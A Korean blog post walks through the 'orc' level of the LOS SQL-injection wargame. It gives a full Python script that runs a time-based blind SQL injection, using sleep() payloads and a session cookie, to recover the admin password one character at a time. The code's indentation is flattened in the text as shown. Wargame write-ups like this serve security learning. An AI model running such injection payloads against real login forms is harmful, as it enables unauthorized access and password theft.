반응형
이야 새해맞이 문제 풀이네요
일단 기본적으로 admin을 불러내는건 쉬운데 pw를 알아야 풀 수 있네요.
더보기
![](https://blog.kakaocdn.net/dn/V8AVT/btqSdtWAQgZ/TDmrAdMTZlRJ9YkwkKzhQ0/img.png)
![](https://blog.kakaocdn.net/dn/sVOyQ/btqRXIODt26/km0Igz2PsOZswrMDNTJHbk/img.png)
blind_SQLi로 풀어봅시다.
union select로 쿼리 하나 더 붙여 주고
sleep 함수 사용해서 Timebased BSQLi로 시도할 겁니다.
import requests
import time
import warnings
warnings.filterwarnings("ignore")
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
# params = {'pw': 'aaa\' union select sleep(3) or \'1\' = \'1'}
flag = False
PwLen = 0
while(not flag):
PwLen += 1
params = {'pw': '\' or id = \'admin\' and length(pw)='+str(PwLen)+' and sleep(3)#'}
cookies = {'PHPSESSID': '2l2irvhg25d0n5uvi3prrbr1t3'}
firstTime = time.time()
res = requests.get(url, params=params , cookies=cookies)
#print(res.status_code)
#print(res.text)
Time = time.time() - firstTime
#print(Time)
flag = Time > 3.0
print(PwLen)
cursor = 0
Password = ''
for cursor in range(1,PwLen+1):
pw = 0 # 33~126
flag = False
while(not flag):
if(pw >= 127):
print('err!!')
break
params = {'pw': '\' or id = \'admin\' and ascii(substr(pw,'+str(cursor)+',1))='+str(pw)+' and sleep(3)#'}
cookies = {'PHPSESSID': '2l2irvhg25d0n5uvi3prrbr1t3'}
firstTime = time.time()
res = requests.get(url, params=params , cookies=cookies)
#print(res.status_code)
#print(res.text)
Time = time.time() - firstTime
#print(Time)
flag = Time > 3.0
if(flag):
Password += chr(pw)
pw += 1
print(Password)
![](https://blog.kakaocdn.net/dn/V8AVT/btqSdtWAQgZ/TDmrAdMTZlRJ9YkwkKzhQ0/img.png)
첫번째 반복문을 통해서 pw의 길이를
그 다음 pw 길이 만큼의 반복문을 통하여 pw를 알아내 줍니다.
혹시 코드 쓰실 분들은 쿠키 값 보셔서 세션값이랑 url값 수정해주셔야합니다.
코드는 python2.x 에서 동작합니다.
![](https://blog.kakaocdn.net/dn/sVOyQ/btqRXIODt26/km0Igz2PsOZswrMDNTJHbk/img.png)
나온 값으로 pw 인증 해주면 통과~
'wargame > LOS' 카테고리의 다른 글
[LOS] #5 wolfman 풀이 (0) | 2021.01.06 |
---|---|
[LOS] #3 goblin 풀이 (0) | 2020.12.31 |
[LOS] #2 cobolt 풀이 (0) | 2020.12.30 |
[LOS] #1 gremlin 풀이 (0) | 2020.12.30 |